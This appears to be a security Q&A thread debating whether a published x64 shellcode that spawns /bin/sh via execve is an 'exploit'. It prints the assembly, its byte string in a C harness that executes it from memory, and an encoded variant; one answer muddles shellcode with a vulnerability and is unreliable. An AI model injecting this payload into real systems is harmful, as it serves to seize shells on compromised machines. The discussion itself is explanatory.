Why is this shellcode execution considered an exploit?

Question

I found the following "exploit" on Twitter: https://www.exploit-db.com/exploits/43550/?rss

Blogpost about it: https://pentesterslife.blog/2018/01/13/polymorphic-and-smaller-versions-of-three-shell-storms-x64-shellcodes-including-the-smallest-execve-bin-sh/

This is wrapping assemblercode / bytes into memory and executes a shell.

IMHO it would be an exploit if it allows privilege escalation, e.g. non-root can compile and run this and be scoped root or something.

This is not an exploit, because it does not break any security barrier or am I wrong?

/*
global _start
section .text
_start:
    push 59
    pop rax
    cdq
    push rdx
    mov rbx,0x68732f6e69622f2f
    push rbx
    push rsp
    pop rdi
    push rdx
    push rdi
    push rsp
    pop rsi
    syscall
*/

#include <stdio.h>
#include <string.h>
char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
// char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
    printf("len:%d bytes\n", strlen(code));
    (*(void(*)()) code)();
    return 0;
}

Answer 1

I agree that this is not an exploit, but it is shellcode to be used when injected into an application exploited via other means. The blog post also only refers to it as shellcode, not an exploit.

Answer 2

This type of exploit falls under a similar category to Buffer Overflow and String Formatting Error exploits. They by themselves cause little to no harm, but can be leveraged by an attacker to gain unauthorized access to important data or in general wreck havoc.

This vulnerability can be anything from minimal to very powerful depending on how well all of the privileges are configured on the server. If the lest privilege required principle is not followed, the attacker may be able to leverage this vulnerability to be able to access sensitive information in files with open privileges. Alternatively, if your server is well configured for the potential of an attacker gaining remote access, this vulnerability might offer the attacker little to nothing.

Either way, this type of code execution vulnerability is often step one to a real attack.